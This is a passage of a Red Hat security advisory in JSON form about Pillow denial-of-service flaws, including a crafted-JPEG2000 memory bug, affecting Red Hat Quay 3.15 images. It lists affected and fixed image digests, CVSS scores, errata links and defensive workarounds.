            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "Pillow: Pillow: Denial of service via crafted PDF stream"
    },
    {
      "cve": "CVE-2026-59204",
      "cwe": {
        "id": "CWE-131",
        "name": "Incorrect Calculation of Buffer Size"
      },
      "discovery_date": "2026-07-14T16:02:11.802781+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2500022"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Pillow, a Python imaging library. A remote attacker could exploit this vulnerability by providing a specially crafted JPEG2000 image file. Due to incorrect calculation of memory requirements for image tiles, processing this file can lead to excessive memory consumption, resulting in a denial of service (DoS) through out-of-memory failures.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "Pillow: Pillow: Denial of Service via crafted JPEG2000 image",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "The impact is limited to denial of service via excessive memory allocation. A crafted JPEG2000 file can trigger out-of-memory failures, but this does not lead to code execution or information disclosure.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59204"
        },
        {
          "category": "external",
          "summary": "RHBZ#2500022",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500022"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59204",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59204"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59204",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59204"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca",
          "url": "https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/pull/9704",
          "url": "https://github.com/python-pillow/Pillow/pull/9704"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0",
          "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j",
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j"
        }
      ],
      "release_date": "2026-07-14T15:38:29.545000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        },
        {
          "category": "workaround",
          "details": "If the application does not need JPEG2000 support, block .jp2, .j2k, .jpf, and .jpx uploads at the input layer.\n\nFor services that do process JPEG2000, set memory limits on the process or container (LimitAS= in systemd, or memory limits in Kubernetes/Podman) so a crafted image can only crash the worker, not the whole host. Add automatic restarts (Restart=always in systemd, or container restart policies) so the service recovers from OOM kills without someone having to intervene.",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "Pillow: Pillow: Denial of Service via crafted JPEG2000 image"
    },
    {
      "cve": "CVE-2026-59205",
      "cwe": {
        "id": "CWE-843",
        "name": "Access of Resource Using Incompatible Type (\u0027Type Confusion\u0027)"
      },
      "discovery_date": "2026-07-14T17:02:11.367224+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
